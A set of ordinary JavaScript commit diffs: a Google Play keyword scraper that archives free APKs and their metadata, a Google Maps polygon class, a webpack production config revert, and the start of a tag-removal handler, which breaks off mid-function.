<commit_before>'use strict';
/*
Scraper script searching store for apps and archiving app data said apps.

NOTE: 120 is max number of apps to receive at once through list method...
NOTE: this has a permission section could inspect when throw this into folder
NOTE: cronjob...

TODO: to avoid the situation of askign for a captcha use a throttle keyword
, all methods now support a throttle property, which defines an upper bound to
the amount of requests that will be attempted per second. Once that limit is reached,
further requests will be held  until the second passes.
*/
const config = require('/etc/xray/config.json'); //See example_config.json
const gplay = require('google-play-scraper');
//Reading from folder of csv files
const fs = require('fs');
const fsEx = require('fs-extra');
const path = require('path');
const fs_promise = require('fs-readdir-promise');
const readline = require('readline');

//Unix pipeline setup
const unix = require('unix-dgram');
const client = unix.createSocket('unix_dgram');

const logger = require('./logger.js');

let appsSaveDir = path.join(config.datadir, 'apps');

function mkdirp(path) {
    path.split(path.sep).reduce((parentDir, childDir) => {
        const curDir = path.resolve(parentDir, childDir);
        if (!fs.existsSync(curDir)) {
            fs.mkdirSync(curDir);
        }

        return curDir;
    }, path.isAbsolute ? path.sep : '');
}

try {
    let dirStats = fs.statSync(appsSaveDir);
    if (!dirStats.isDirectory()) {
        logger.err('The app directory %s exists but is not a directory!', appsSaveDir);
        process.exit(1);
    }
} catch (err) {
    if (err.code == 'ENOENT') {
        logger.info('Creating apps folder ' + appsSaveDir);
        mkdirp(appsSaveDir);
    } else {
        logger.err('Unknown error opening appsSaveDir:', err.message);
        process.exit(1);
    }
}

let waitForPipe = () => {
    if (!fs.existsSync(config.sockpath)) {
        logger.err('Could not bind to socket... trying again in 1000s');
        setTimeout(waitForPipe, 1000);
    } else {
        main();
    }
}; waitForPipe();

//TODO: move region to config or section to iterate over
let region = 'us';
let appStore = 'play';

function resolveAPKDir(appData) {
    //console.log('appdir:'+ config.datadir, '\nappId'+ appData.appId, '\nappStore'+ appStore, '\nregion'+ region, '\nversion'+ appData.version);

    //log('appdir:'+ config.appdir, '\nappId'+ appData.appId, '\nappStore'+ appStore, '\nregion'+ region, '\nversion'+ appData.version);
    //NOTE: If app version is undefined setting to  date
    if (!appData.version || appData.version === 'Varies with device') {
        logger.debug('Version not found defaulting too', appData.updated);
        let formatDate = appData.updated.replace(/\s+/g, '').replace(',', '/');
        appData.version = formatDate;
    }

    let appSavePath = path.join(appsSaveDir, appData.appId, appStore, region, appData.version);
    logger.info('App desired save dir ' + appSavePath);

    return Promise.all([fsEx.pathExists(appSavePath), Promise.resolve(appSavePath)]);
}

function downloadApp(appData, appSavePath) {
    const args = ['-pd', appData.appId, '-f', appSavePath, '-c', config.credDownload]; /* Command line args for gplay cli */
    const spw = require('child-process-promise').spawn;
    logger.info('Passing args to downloader' + args);
    const apkDownloader = spw('gplaycli', args);

    let downloadProcess = apkDownloader.childProcess;

    mkdirp(appSavePath);
    logger.info('DL process %d for %s-%s started.', downloadProcess.pid, appData.appId, appData.version);

    downloadProcess.stdout.on('data', data => {
        logger.debug('DL process %d stdout:', downloadProcess.pid, data);
    });

    downloadProcess.stderr.on('data', data => {
        logger.warning('DL process %d stderr:', downloadProcess.pid, data);
    });

    return apkDownloader;
}

//TODO: check dir setup before attempting to search on that word

function extractAppData(appData) {
    //Check appData state
    if (!appData.appId) { return Promise.reject('Invalid appdata', appData.appId); }

    return resolveAPKDir(appData).then(appPathInfo => {
        let exists = appPathInfo[0],
            appSavePath = appPathInfo[1];

        if (exists) {
            logger.info('App version %s-%s already exists', appData.appId, appData.version);
            return Promise.reject();
        } else {
            logger.info('New app version %s-%s', appData.appId, appData.version);

            //TODO: append previous and write seperately
            appData.isDownloaded = true;
            return downloadApp(appData, appSavePath).catch((err) => {
                try {
                    fs.rmdir(appSavePath);
                } catch (err) {
                    // TODO: something
                }
                logger.warning('Downloading failed with error:', err.message);
                appData.isDownloaded = false;
            });
        }
    }).then(() => {
        logger.info('Download process complete for ' + appData.appId);

        // TODO: DB Comms... this can be factorised.
        let db = require('./db');
        return db.insertPlayApp(appData, region).catch((err) => {
            logger.err('Inserting play app failed', err, region);
            return err;
        }).catch((err) => logger.err('Could not write to db:', err.message));
    }).then(async (dbId) => {
        // TODO: Check that '-' won't mess things up on the DB side... eg if region was something like 'en-gb'
        let message = Buffer(dbId + '-' + appData.appId + '-' + appStore + '-' + region + '-' + appData.version);

        //client.on('error', logger.err);
        return client.send(message, 0, message.length, config.sockpath).catch((err) => logger.err('Could not connect to socket:', err.message));
    }).catch(function() {
        return;
    });
}

//Base scrapes array apps based on google-play-scraper app json format - PROMISE FORMAT
// function scrape(appsData) {
//     return appsData.map((val) => {
//         return gplay.app({ appId: val.appId }).then(function(some_other_val) {
//             return extractAppData(val).then(() => {
//                 logger('finished downloading', val.appId);
//                 return val; // whatever you return here will get passed on to the next val in the promise chain..
//             }).catch((e) => {
//                 logger.err('error downloading ', val.appId, e.toString());
//                 throw e;
//             });
//         }).catch(function(err) {
//             logger.err('Could not save app ', err);
//             return Promise.reject(appData.appId);
//         });
//     });
// }

/* Get an array of gplay Search results */
function scrapeWord(word) {
    return gplay.search({
        term: word,
        num: 4,
        region: region,
        price: 'free',
        fullDetail: true,
        throttle: 0.01,
    });
}

function reader(filepath) {
    return readline.createInterface({
        input: fs.createReadStream(filepath)
    });
}

// //Do processing syncrounously do prevent gplay having a moan
// function processAppData(appsData, processFn) {
//     let index = 0;

//     function next() {
//         if (index < appsData.length) {
//             logger.logger('Processing ', index);
//             processFn(appsData[index++])
//                 .then(next)
//                 .catch((err) => { logger.warning('downloading app failure:', err) });
//         }
//     }
//     next();
// }

function wipe_scraped_word() {
    fs.writeFile(config.datadir + '/scraped_words.txt', '', function(err) {
        if (err) {
            logger.err('Unable wipe the scraped word file');
        }
    });
}

function write_latest_word(word) {
    fs.appendFile(config.datadir + '/scraped_words.txt', word + '\n', function(err) {
        if (err) {
            logger.err('Unable to log to the scraped word file' + err.message);
        }
    });
}

// function topApps() {
//     gplay.category.forEach( cat => {
//         gplay.collection.forEach( coll => {
//             //TODO: this might all happen at once... review owrdStashFiles
//             //finish below off then scrape data + download
//             gplay.list({
//                 collection
//                 category
//                 num: 12,
//                 region: region,
//                 fullDetail: true,
//                 throttle: 0.01
//             }).then( app => {

//                 //TODO: later before begin scraping you do a similar search here

//                 return extractAppData(app);
//             }).catch( err => {
//                 log('Err with word stash',err.message);
//             });

//         });
//     });
// }

function main() {
    wipe_scraped_word();

    let wordStash = config.wordStashDir;
    let wordStashFiles = fs_promise(wordStash);

    // TODO: Refactor this....
    wordStashFiles.then(files => {
        let q = Promise.resolve();

        files.map(file => {
            q = q.then(() => {
                return new Promise((resolve) => {
                    logger.info('Resolving word stash' + wordStash);
                    let filepath = require('path').join(wordStash, file);

                    let rd = reader(filepath);

                    let p = Promise.resolve();

                    rd.on('line', (word) => {
                        p = p.then(() => {
                            logger.info('searching on word:' + word);
                            write_latest_word(word);
                            return scrapeWord(word).catch((err) => logger.err('scraping app on word failed:' + err));
                        }).then(function(appsData) {
                            logger.info('Search apps total: ' + appsData.length);
                            let r = Promise.resolve();

                            appsData.forEach(app => {
                                r = r.then(() => {
                                    logger.info('Attempting to download:' + app.appId);
                                    return extractAppData(app);
                                }, (err) => logger.warning('downloading app failed:' + err));
                            });
                            //processAppData(appsData,extractAppData);

                        }, (err) => logger.err('going through word list failed:' + err));
                    });

                    rd.on('end', () => {
                        p.then(() => resolve());
                        p.catch((err) => logger.err('last data word failed:' + err));
                    });
                });
            }, (err) => logger.err('could no iterate through words in file:' + err));
        }, (err) => logger.err('iterating through dir word list failed::' + err));
    }).catch(function(err) {
        logger.err('Err with word stash' + err.message);
    });
}

//let parse = require('csv-parse');
//let async = require('async');
//TODO: Promise that you'll change this to promises.
/* parse 'Top Words' and download apps based on the search results. */
// NOTE: word csv's are not comma seperated, actually '\n'...
// let parser = parse({ delimiter: ',' }, function(err, data) {
//     async.eachSeries(data, function(currWord, callback) {
//         scrapeWord(currWord).then(appsScraped => {

//             appsScraped.map(app => {
//                 log('Downloading app: '+ app.appId);
//                 downloadAppApk(app);
//             });

//             // when processing finishes invoke the callback to move to the next one
//             callback();
//         });
//     })
// });

// // Loop through all the files in the word stash
// fs.readdir(wordStash, function(err, files) {
//     if (err) {
//         logger.err('Could not list the directory.'+ err);
//         process.exit(1);
//     }

//     files.forEach(file => {
//         let p = require('path');
//         fs.createReadStream(p.join(wordStash,file)).pipe(parser);
//     });
// });
<commit_msg>s/path.resolve/path.join/<commit_after>'use strict';
/*
Scraper script searching store for apps and archiving app data said apps.

NOTE: 120 is max number of apps to receive at once through list method...
NOTE: this has a permission section could inspect when throw this into folder
NOTE: cronjob...

TODO: to avoid the situation of askign for a captcha use a throttle keyword
, all methods now support a throttle property, which defines an upper bound to
the amount of requests that will be attempted per second. Once that limit is reached,
further requests will be held  until the second passes.
*/
const config = require('/etc/xray/config.json'); //See example_config.json
const gplay = require('google-play-scraper');
//Reading from folder of csv files
const fs = require('fs');
const fsEx = require('fs-extra');
const path = require('path');
const fs_promise = require('fs-readdir-promise');
const readline = require('readline');

//Unix pipeline setup
const unix = require('unix-dgram');
const client = unix.createSocket('unix_dgram');

const logger = require('./logger.js');

let appsSaveDir = path.join(config.datadir, 'apps');

function mkdirp(path) {
    path.split(path.sep).reduce((parentDir, childDir) => {
        const curDir = path.join(parentDir, childDir);
        if (!fs.existsSync(curDir)) {
            fs.mkdirSync(curDir);
        }

        return curDir;
    }, path.isAbsolute ? path.sep : '');
}

try {
    let dirStats = fs.statSync(appsSaveDir);
    if (!dirStats.isDirectory()) {
        logger.err('The app directory %s exists but is not a directory!', appsSaveDir);
        process.exit(1);
    }
} catch (err) {
    if (err.code == 'ENOENT') {
        logger.info('Creating apps folder ' + appsSaveDir);
        mkdirp(appsSaveDir);
    } else {
        logger.err('Unknown error opening appsSaveDir:', err.message);
        process.exit(1);
    }
}

let waitForPipe = () => {
    if (!fs.existsSync(config.sockpath)) {
        logger.err('Could not bind to socket... trying again in 1000s');
        setTimeout(waitForPipe, 1000);
    } else {
        main();
    }
}; waitForPipe();

//TODO: move region to config or section to iterate over
let region = 'us';
let appStore = 'play';

function resolveAPKDir(appData) {
    //console.log('appdir:'+ config.datadir, '\nappId'+ appData.appId, '\nappStore'+ appStore, '\nregion'+ region, '\nversion'+ appData.version);

    //log('appdir:'+ config.appdir, '\nappId'+ appData.appId, '\nappStore'+ appStore, '\nregion'+ region, '\nversion'+ appData.version);
    //NOTE: If app version is undefined setting to  date
    if (!appData.version || appData.version === 'Varies with device') {
        logger.debug('Version not found defaulting too', appData.updated);
        let formatDate = appData.updated.replace(/\s+/g, '').replace(',', '/');
        appData.version = formatDate;
    }

    let appSavePath = path.join(appsSaveDir, appData.appId, appStore, region, appData.version);
    logger.info('App desired save dir ' + appSavePath);

    return Promise.all([fsEx.pathExists(appSavePath), Promise.resolve(appSavePath)]);
}

function downloadApp(appData, appSavePath) {
    const args = ['-pd', appData.appId, '-f', appSavePath, '-c', config.credDownload]; /* Command line args for gplay cli */
    const spw = require('child-process-promise').spawn;
    logger.info('Passing args to downloader' + args);
    const apkDownloader = spw('gplaycli', args);

    let downloadProcess = apkDownloader.childProcess;

    mkdirp(appSavePath);
    logger.info('DL process %d for %s-%s started.', downloadProcess.pid, appData.appId, appData.version);

    downloadProcess.stdout.on('data', data => {
        logger.debug('DL process %d stdout:', downloadProcess.pid, data);
    });

    downloadProcess.stderr.on('data', data => {
        logger.warning('DL process %d stderr:', downloadProcess.pid, data);
    });

    return apkDownloader;
}

//TODO: check dir setup before attempting to search on that word

function extractAppData(appData) {
    //Check appData state
    if (!appData.appId) { return Promise.reject('Invalid appdata', appData.appId); }

    return resolveAPKDir(appData).then(appPathInfo => {
        let exists = appPathInfo[0],
            appSavePath = appPathInfo[1];

        if (exists) {
            logger.info('App version %s-%s already exists', appData.appId, appData.version);
            return Promise.reject();
        } else {
            logger.info('New app version %s-%s', appData.appId, appData.version);

            //TODO: append previous and write seperately
            appData.isDownloaded = true;
            return downloadApp(appData, appSavePath).catch((err) => {
                try {
                    fs.rmdir(appSavePath);
                } catch (err) {
                    // TODO: something
                }
                logger.warning('Downloading failed with error:', err.message);
                appData.isDownloaded = false;
            });
        }
    }).then(() => {
        logger.info('Download process complete for ' + appData.appId);

        // TODO: DB Comms... this can be factorised.
        let db = require('./db');
        return db.insertPlayApp(appData, region).catch((err) => {
            logger.err('Inserting play app failed', err, region);
            return err;
        }).catch((err) => logger.err('Could not write to db:', err.message));
    }).then(async (dbId) => {
        // TODO: Check that '-' won't mess things up on the DB side... eg if region was something like 'en-gb'
        let message = Buffer(dbId + '-' + appData.appId + '-' + appStore + '-' + region + '-' + appData.version);

        //client.on('error', logger.err);
        return client.send(message, 0, message.length, config.sockpath).catch((err) => logger.err('Could not connect to socket:', err.message));
    }).catch(function() {
        return;
    });
}

//Base scrapes array apps based on google-play-scraper app json format - PROMISE FORMAT
// function scrape(appsData) {
//     return appsData.map((val) => {
//         return gplay.app({ appId: val.appId }).then(function(some_other_val) {
//             return extractAppData(val).then(() => {
//                 logger('finished downloading', val.appId);
//                 return val; // whatever you return here will get passed on to the next val in the promise chain..
//             }).catch((e) => {
//                 logger.err('error downloading ', val.appId, e.toString());
//                 throw e;
//             });
//         }).catch(function(err) {
//             logger.err('Could not save app ', err);
//             return Promise.reject(appData.appId);
//         });
//     });
// }

/* Get an array of gplay Search results */
function scrapeWord(word) {
    return gplay.search({
        term: word,
        num: 4,
        region: region,
        price: 'free',
        fullDetail: true,
        throttle: 0.01,
    });
}

function reader(filepath) {
    return readline.createInterface({
        input: fs.createReadStream(filepath)
    });
}

// //Do processing syncrounously do prevent gplay having a moan
// function processAppData(appsData, processFn) {
//     let index = 0;

//     function next() {
//         if (index < appsData.length) {
//             logger.logger('Processing ', index);
//             processFn(appsData[index++])
//                 .then(next)
//                 .catch((err) => { logger.warning('downloading app failure:', err) });
//         }
//     }
//     next();
// }

function wipe_scraped_word() {
    fs.writeFile(config.datadir + '/scraped_words.txt', '', function(err) {
        if (err) {
            logger.err('Unable wipe the scraped word file');
        }
    });
}

function write_latest_word(word) {
    fs.appendFile(config.datadir + '/scraped_words.txt', word + '\n', function(err) {
        if (err) {
            logger.err('Unable to log to the scraped word file' + err.message);
        }
    });
}

// function topApps() {
//     gplay.category.forEach( cat => {
//         gplay.collection.forEach( coll => {
//             //TODO: this might all happen at once... review owrdStashFiles
//             //finish below off then scrape data + download
//             gplay.list({
//                 collection
//                 category
//                 num: 12,
//                 region: region,
//                 fullDetail: true,
//                 throttle: 0.01
//             }).then( app => {

//                 //TODO: later before begin scraping you do a similar search here

//                 return extractAppData(app);
//             }).catch( err => {
//                 log('Err with word stash',err.message);
//             });

//         });
//     });
// }

function main() {
    wipe_scraped_word();

    let wordStash = config.wordStashDir;
    let wordStashFiles = fs_promise(wordStash);

    // TODO: Refactor this....
    wordStashFiles.then(files => {
        let q = Promise.resolve();

        files.map(file => {
            q = q.then(() => {
                return new Promise((resolve) => {
                    logger.info('Resolving word stash' + wordStash);
                    let filepath = require('path').join(wordStash, file);

                    let rd = reader(filepath);

                    let p = Promise.resolve();

                    rd.on('line', (word) => {
                        p = p.then(() => {
                            logger.info('searching on word:' + word);
                            write_latest_word(word);
                            return scrapeWord(word).catch((err) => logger.err('scraping app on word failed:' + err));
                        }).then(function(appsData) {
                            logger.info('Search apps total: ' + appsData.length);
                            let r = Promise.resolve();

                            appsData.forEach(app => {
                                r = r.then(() => {
                                    logger.info('Attempting to download:' + app.appId);
                                    return extractAppData(app);
                                }, (err) => logger.warning('downloading app failed:' + err));
                            });
                            //processAppData(appsData,extractAppData);

                        }, (err) => logger.err('going through word list failed:' + err));
                    });

                    rd.on('end', () => {
                        p.then(() => resolve());
                        p.catch((err) => logger.err('last data word failed:' + err));
                    });
                });
            }, (err) => logger.err('could no iterate through words in file:' + err));
        }, (err) => logger.err('iterating through dir word list failed::' + err));
    }).catch(function(err) {
        logger.err('Err with word stash' + err.message);
    });
}

//let parse = require('csv-parse');
//let async = require('async');
//TODO: Promise that you'll change this to promises.
/* parse 'Top Words' and download apps based on the search results. */
// NOTE: word csv's are not comma seperated, actually '\n'...
// let parser = parse({ delimiter: ',' }, function(err, data) {
//     async.eachSeries(data, function(currWord, callback) {
//         scrapeWord(currWord).then(appsScraped => {

//             appsScraped.map(app => {
//                 log('Downloading app: '+ app.appId);
//                 downloadAppApk(app);
//             });

//             // when processing finishes invoke the callback to move to the next one
//             callback();
//         });
//     })
// });

// // Loop through all the files in the word stash
// fs.readdir(wordStash, function(err, files) {
//     if (err) {
//         logger.err('Could not list the directory.'+ err);
//         process.exit(1);
//     }

//     files.forEach(file => {
//         let p = require('path');
//         fs.createReadStream(p.join(wordStash,file)).pipe(parser);
//     });
// });
<|endoftext|>


<commit_before>/*
 Copyright 2018 Carmilla Mina Jankovic
 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at
 http://www.apache.org/licenses/LICENSE-2.0
 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
 */

const MapObject = require('./MapObject');

/**
 * Requires Google maps library
 */
class MapPolygon extends MapObject {
  constructor({
    position,
    clickFuncs,
    labelStyle,
    choosableStyles,
    triggeredStyles,
    overlay,
    hoverExcludeRule = {
      paramName: 'positionName',
      paramRegExp: /^polygon/ig,
      shouldBeFalse: true,
    },
    descriptionOnClick,
    zIndex = 3,
    markedStyle = {
      strokeColor: '#009100',
      fillColor: '#009100',
      styleName: 'Marked',
    },
    alwaysShowLabel = false,
    shouldCluster = false,
    styles = {},
  }) {
    const { coordinatesHistory } = position;
    const latestCoordinates = coordinatesHistory[coordinatesHistory.length - 1];
    const allPoints = [new google.maps.LatLng(latestCoordinates.latitude, latestCoordinates.longitude)]
      .concat((latestCoordinates.extraCoordinates || []).map((coords) => new google.maps.LatLng(coords.latitude, coords.longitude)));
    const chosenStyle = choosableStyles && position.styleName
      ? choosableStyles.find((style) => style.styleName === position.styleName)
      : {};
    const style = {
      opacity: chosenStyle.opacity || styles.opacity || 1,
      strokeColor: chosenStyle.strokeColor || styles.strokeColor || '#000000',
      strokeOpacity: chosenStyle.strokeOpacity || styles.strokeOpacity || 0.8,
      strokeWeight: chosenStyle.strokeWeight || styles.strokeWeight || 1,
      fillColor: chosenStyle.fillColor || styles.fillColor || '#000000',
      fillOpacity: chosenStyle.fillOpacity || styles.fillOpacity || 0.35,
    };
    const options = Object.assign({
      zIndex,
      paths: new google.maps.MVCArray(allPoints),
    }, style);

    super({
      hoverExcludeRule,
      choosableStyles,
      descriptionOnClick,
      alwaysShowLabel,
      shouldCluster,
      position,
      clickFuncs,
      labelStyle,
      triggeredStyles,
      markedStyle,
      style,
      overlay,
      // TODO Combine with MapLine
      dragEndFunc: () => {
        const extraCoordinates = this.mapObject.getPath().getArray();
        const firstCoordinates = extraCoordinates.shift();

        this.setCurrentCoordinates({
          coordinates: {
            longitude: firstCoordinates.lng(),
            latitude: firstCoordinates.lat(),
            extraCoordinates: extraCoordinates.map((coordinates) => {
              return {
                latitude: coordinates.lat(),
                longitude: coordinates.lng(),
              };
            }),
          },
        });
      },
      mapObject: new google.maps.Polygon(options),
    });
  }

  changeStyle({
    styleName,
    style,
    setCurrentStyle,
    shouldEmit,
  }) {
    const {
      strokeColor,
      strokeOpacity,
      strokeWeight,
      fillColor,
      fillOpacity,
      opacity,
    } = style;
    const options = {};

    if (strokeColor) { options.strokeColor = strokeColor; }
    if (strokeOpacity) { options.strokeOpacity = strokeOpacity; }
    if (strokeWeight) { options.strokeWeight = strokeWeight; }
    if (fillColor) { options.fillColor = fillColor; }
    if (fillOpacity) { options.fillOpacity = fillOpacity; }
    if (opacity) { options.opacity = opacity; }

    super.changeStyle({
      styleName,
      shouldEmit,
      setCurrentStyle,
      style: options,
    });
  }

  // TODO Combine with MapLine
  setCurrentCoordinates({ coordinates }) {
    const allPoints = [new google.maps.LatLng(coordinates.latitude, coordinates.longitude)]
      .concat(coordinates.extraCoordinates.map((coords) => new google.maps.LatLng(coords.latitude, coords.longitude)));

    super.setCurrentCoordinates({ coordinates });

    this.mapObject.setPath(new google.maps.MVCArray(allPoints));
  }
}

module.exports = MapPolygon;
<commit_msg>eslint fix<commit_after>/*
 Copyright 2018 Carmilla Mina Jankovic
 Licensed under the Apache License, Version 2.0 (the "License");
 you may not use this file except in compliance with the License.
 You may obtain a copy of the License at
 http://www.apache.org/licenses/LICENSE-2.0
 Unless required by applicable law or agreed to in writing, software
 distributed under the License is distributed on an "AS IS" BASIS,
 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 See the License for the specific language governing permissions and
 limitations under the License.
 */

const MapObject = require('./MapObject');

/**
 * Requires Google maps library
 */
class MapPolygon extends MapObject {
  constructor({
    position,
    clickFuncs,
    labelStyle,
    choosableStyles,
    triggeredStyles,
    overlay,
    hoverExcludeRule = {
      paramName: 'positionName',
      paramRegExp: /^polygon/ig,
      shouldBeFalse: true,
    },
    descriptionOnClick,
    zIndex = 3,
    markedStyle = {
      strokeColor: '#009100',
      fillColor: '#009100',
      styleName: 'Marked',
    },
    alwaysShowLabel = false,
    shouldCluster = false,
    styles = {},
  }) {
    const { coordinatesHistory } = position;
    const latestCoordinates = coordinatesHistory[coordinatesHistory.length - 1];
    const allPoints = [new google.maps.LatLng(latestCoordinates.latitude, latestCoordinates.longitude)]
      .concat((latestCoordinates.extraCoordinates || []).map((coords) => new google.maps.LatLng(coords.latitude, coords.longitude)));
    const chosenStyle = choosableStyles && position.styleName
      ? choosableStyles.find((style) => style.styleName === position.styleName)
      : {};
    const style = {
      opacity: chosenStyle.opacity || styles.opacity || 1,
      strokeColor: chosenStyle.strokeColor || styles.strokeColor || '#000000',
      strokeOpacity: chosenStyle.strokeOpacity || styles.strokeOpacity || 0.8,
      strokeWeight: chosenStyle.strokeWeight || styles.strokeWeight || 1,
      fillColor: chosenStyle.fillColor || styles.fillColor || '#000000',
      fillOpacity: chosenStyle.fillOpacity || styles.fillOpacity || 0.35,
    };
    const options = {
      zIndex,
      paths: new google.maps.MVCArray(allPoints),
      ...style,
    };

    super({
      hoverExcludeRule,
      choosableStyles,
      descriptionOnClick,
      alwaysShowLabel,
      shouldCluster,
      position,
      clickFuncs,
      labelStyle,
      triggeredStyles,
      markedStyle,
      style,
      overlay,
      // TODO Combine with MapLine
      dragEndFunc: () => {
        const extraCoordinates = this.mapObject.getPath().getArray();
        const firstCoordinates = extraCoordinates.shift();

        this.setCurrentCoordinates({
          coordinates: {
            longitude: firstCoordinates.lng(),
            latitude: firstCoordinates.lat(),
            extraCoordinates: extraCoordinates.map((coordinates) => {
              return {
                latitude: coordinates.lat(),
                longitude: coordinates.lng(),
              };
            }),
          },
        });
      },
      mapObject: new google.maps.Polygon(options),
    });
  }

  changeStyle({
    styleName,
    style,
    setCurrentStyle,
    shouldEmit,
  }) {
    const {
      strokeColor,
      strokeOpacity,
      strokeWeight,
      fillColor,
      fillOpacity,
      opacity,
    } = style;
    const options = {};

    if (strokeColor) { options.strokeColor = strokeColor; }
    if (strokeOpacity) { options.strokeOpacity = strokeOpacity; }
    if (strokeWeight) { options.strokeWeight = strokeWeight; }
    if (fillColor) { options.fillColor = fillColor; }
    if (fillOpacity) { options.fillOpacity = fillOpacity; }
    if (opacity) { options.opacity = opacity; }

    super.changeStyle({
      styleName,
      shouldEmit,
      setCurrentStyle,
      style: options,
    });
  }

  // TODO Combine with MapLine
  setCurrentCoordinates({ coordinates }) {
    const allPoints = [new google.maps.LatLng(coordinates.latitude, coordinates.longitude)]
      .concat(coordinates.extraCoordinates.map((coords) => new google.maps.LatLng(coords.latitude, coords.longitude)));

    super.setCurrentCoordinates({ coordinates });

    this.mapObject.setPath(new google.maps.MVCArray(allPoints));
  }
}

module.exports = MapPolygon;
<|endoftext|>


<commit_before>const { resolve } = require("path")
const webpack = require("webpack")
const ExtractTextPlugin = require("extract-text-webpack-plugin")
const HtmlWebpackPlugin = require("html-webpack-plugin")
const UglifyJsPlugin = require("uglifyjs-webpack-plugin")

const config = {
  mode: "production",
  devtool: "source-map",

  entry: {
    app: ["babel-polyfill", "./src/main.js"]
  },

  output: {
    filename: "static/[name].[chunkhash].js",
    chunkFilename: "static/[name].[chunkhash].chunks.js",
    sourceMapFilename: "static/[name].[chunkhash].map",
    path: resolve(__dirname, "build/"),
    publicPath: ""
  },

  performance: {
    hints: "warning"
  },

  bail: true,

  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
          options: {
            presets: [
              [
                "env",
                {
                  modules: false,
                  targets: {
                    browsers: ["last 2 versions"]
                  }
                }
              ],
              "babel-preset-react",
              "babel-preset-react-optimize"
            ],
            plugins: [
              "babel-plugin-transform-runtime",
              "babel-plugin-syntax-trailing-function-commas",
              "babel-plugin-transform-class-properties",
              "babel-plugin-transform-object-rest-spread",
              "babel-plugin-transform-react-constant-elements",
              "syntax-dynamic-import",
              "lodash",
              "recharts"
            ]
          }
        }
      },
      {
        test: /\.s?css$/,
        use: [
          {
            loader: "style-loader" // creates style nodes from JS strings
          },
          {
            loader: "css-loader" // translates CSS into CommonJS
          },
          {
            loader: "sass-loader" // compiles Sass to CSS
          }
        ]
      },
      { test: /\.(png|jpg)$/, use: "url-loader?limit=15000" },
      { test: /\.eot(\?v=\d+.\d+.\d+)?$/, use: "file-loader" },
      { test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, use: "url-loader?limit=10000&mimetype=application/font-woff" },
      { test: /\.[ot]tf(\?v=\d+.\d+.\d+)?$/, use: "url-loader?limit=10000&mimetype=application/octet-stream" },
      { test: /\.svg(\?v=\d+\.\d+\.\d+)?$/, use: "url-loader?limit=10000&mimetype=image/svg+xml" }
    ]
  },
  optimization: {
    splitChunks: {
      chunks: "all",
      name: false,
    },
  },
  plugins: [
    new webpack.DefinePlugin({ "process.env": JSON.stringify("production") }),
    new webpack.DefinePlugin({ "process.env.NODE_ENV": JSON.stringify("production") }),
    new webpack.LoaderOptionsPlugin({
      minimize: true,
      debug: false
    }),
    new UglifyJsPlugin({
      sourceMap: true
    }),
    new HtmlWebpackPlugin({
      title: "Hashi-UI",
      inject: false,
      favicon: "./assets/img/favicon.png",
      template: "./index.html.ejs",
      appMountId: "app",
      production: true
    })
  ]
}

module.exports = config
<commit_msg>Revert "webpack config changes"<commit_after>const { resolve } = require("path")
const webpack = require("webpack")
const ExtractTextPlugin = require("extract-text-webpack-plugin")
const HtmlWebpackPlugin = require("html-webpack-plugin")
const UglifyJsPlugin = require("uglifyjs-webpack-plugin")

const config = {
  mode: "production",
  devtool: "source-map",

  entry: {
    app: ["babel-polyfill", "./src/main.js"]
  },

  output: {
    filename: "static/[name].[chunkhash].js",
    chunkFilename: "static/[name].[chunkhash].chunks.js",
    sourceMapFilename: "static/[name].[chunkhash].map",
    path: resolve(__dirname, "build/"),
    publicPath: ""
  },

  performance: {
    hints: "warning"
  },

  bail: true,

  module: {
    rules: [
      {
        test: /\.js$/,
        exclude: /node_modules/,
        use: {
          loader: "babel-loader",
          options: {
            presets: [
              [
                "env",
                {
                  modules: false,
                  targets: {
                    browsers: ["last 2 versions"]
                  }
                }
              ],
              "babel-preset-react",
              "babel-preset-react-optimize"
            ],
            plugins: [
              "babel-plugin-transform-runtime",
              "babel-plugin-syntax-trailing-function-commas",
              "babel-plugin-transform-class-properties",
              "babel-plugin-transform-object-rest-spread",
              "babel-plugin-transform-react-constant-elements",
              "syntax-dynamic-import",
              "lodash",
              "recharts"
            ]
          }
        }
      },
      {
        test: /\.s?css$/,
        use: [
          {
            loader: "style-loader" // creates style nodes from JS strings
          },
          {
            loader: "css-loader" // translates CSS into CommonJS
          },
          {
            loader: "sass-loader" // compiles Sass to CSS
          }
        ]
      },
      { test: /\.(png|jpg)$/, use: "url-loader?limit=15000" },
      { test: /\.eot(\?v=\d+.\d+.\d+)?$/, use: "file-loader" },
      { test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/, use: "url-loader?limit=10000&mimetype=application/font-woff" },
      { test: /\.[ot]tf(\?v=\d+.\d+.\d+)?$/, use: "url-loader?limit=10000&mimetype=application/octet-stream" },
      { test: /\.svg(\?v=\d+\.\d+\.\d+)?$/, use: "url-loader?limit=10000&mimetype=image/svg+xml" }
    ]
  },

  plugins: [
    new webpack.DefinePlugin({'process.env': JSON.stringify('production')}),
    new webpack.DefinePlugin({'process.env.NODE_ENV': JSON.stringify('production')}),
    new webpack.LoaderOptionsPlugin({
      minimize: true,
      debug: false
    }),
    new UglifyJsPlugin({
      sourceMap: true,
    }),
    new HtmlWebpackPlugin({
      title: "Hashi-UI",
      inject: false,
      favicon: "./assets/img/favicon.png",
      template: "./index.html.ejs",
      appMountId: "app",
      production: true
    })
  ]
}

module.exports = config
<|endoftext|>


<commit_before>const cloneDeep = require('lodash/cloneDeep')

module.exports = (data, state, send, done) => {
  const alldone = require('../lib/alldone')(3, done)
  const papers = state.selection.list

  const newPapers = papers.map(paper => {
    const tags = paper.tags
    const removeidx = tags.indexOf(data.tag)
    if (removeidx > -1) tags.splice(removeidx, 1)

    paper.document.tags = tags
    return paper
  })

  send('result_replace', {
    key: state.selection.list.map(p => p.key),
    paper: newPapers
  }, alldone)
  send('collection_updatepaper', newPapers, alldone)
  send('tag_removepaper', {
    tag: data.tag,
    paper: state.selection.list
  }, alldone)
}
<commit_msg>More fixing of tag removal<commit_after>const cloneDeep = require('lodash/cloneDeep')

module.exports = (data, state, send, done) => {
  const alldone = require('../lib/alldone')(3, done)
  const papers = state.selection.list

  const newPapers = papers.map(paper => {
